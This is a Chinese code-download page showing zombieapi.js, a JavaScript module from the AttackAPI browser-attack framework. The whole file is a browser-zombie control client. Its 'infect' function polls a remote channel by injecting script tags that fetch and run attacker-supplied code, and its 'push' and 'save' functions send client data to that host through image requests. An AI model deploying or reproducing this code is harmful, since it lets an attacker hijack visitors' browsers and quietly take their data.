⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 zombieapi.js

📁 AttackAPI提供简单而直观的web可编程接口
💻 JS
字号:
var ZombieAPI = {
	version: '0.1a',
	author: 'Petko Petkov | pdp (architect)',
	homepage: 'http://www.gnucitizen.org'};
ZombieAPI.Zombie = {};
ZombieAPI.Zombie.timer = null;
ZombieAPI.Zombie.channel = null;
ZombieAPI.Zombie.infect = function (channelLocation, interval) {
	if (ZombieAPI.Zombie.timer != null)
		return;
	
	var interval = (interval == undefined)?2000:interval;
	var channel = ZombieAPI.Channel.createInteractiveChannel(channelLocation);
	
	ZombieAPI.Zombie.timer = setInterval(channel.pull, interval);
	ZombieAPI.Zombie.channel = channel;
};
ZombieAPI.Zombie.disinfect = function () {
	if (ZombieAPI.Zombie.timer == null)
		return;
		
	clearInterval(ZombieAPI.Zombie.timer);
	ZombieAPI.Zombie.timer = null;
};
ZombieAPI.Channel = {};
ZombieAPI.Channel.channels = new Array();
ZombieAPI.Channel.createInteractiveChannel = function (location) {
	var channel = {
		index: ZombieAPI.Channel.channels.length,
		location: location,
		callbacks: { pull: undefined, push: undefined, list: undefined, self: undefined, save: undefined }};
		
	channel.pull = function () {
		var script = document.createElement('script');
		script.differ = true;
		script.type = 'text/javascript';
		script.src = channel.location + '?action=pull' + ((channel.callbacks.pull == undefined)?'':'&callback=ZombieAPI.Channel.channels.channel' + channel.index + '.callbacks.pull');
		script.onload = function () {
			document.body.removeChild(script);
		};
		script.onerror = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);
	};
	
	channel.push = function (client, message) {
		if (channel.callbacks.push && !channel.callbacks.push(client, message))
			return false;
			
		var request = new Image();
		request.src = channel.location + '?action=push&client=' + escape(client) + '&message=' + escape(message);
		
		return true;
	};
	
	channel.list = function () {
		var script = document.createElement('script');
		script.differ = true;
		script.type = 'text/javascript';
		script.src = channel.location + '?action=list' + ((channel.callbacks.list == undefined)?'':'&callback=ZombieAPI.Channel.channels.channel' + channel.index + '.callbacks.list');
		script.onload = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);
	};
	
	channel.self = function () {
		var script = document.createElement('script');
		script.differ = true;
		script.type = 'text/javascript';
		script.src = channel.location + '?action=self' + ((channel.callbacks.self == undefined)?'':'&callback=ZombieAPI.Channel.channels.channel' + channels.index + '.callbacks.self');
		script.onload = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);		
	};
	
	channel.save = function (client, name, value) {
		if (channel.callbacks.save && !channel.callbacks.save(client, name, value))
			return false;
			
		var request = new Image();
		request.src = channel.location + '?action=save&client=' + escape(client) + '&name=' + escape(name) + '&value=' + escape(value);
		
		return true;
	};
	
	ZombieAPI.Channel.channels['channel' + channel.index] = channel;
	
	return channel;
};

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -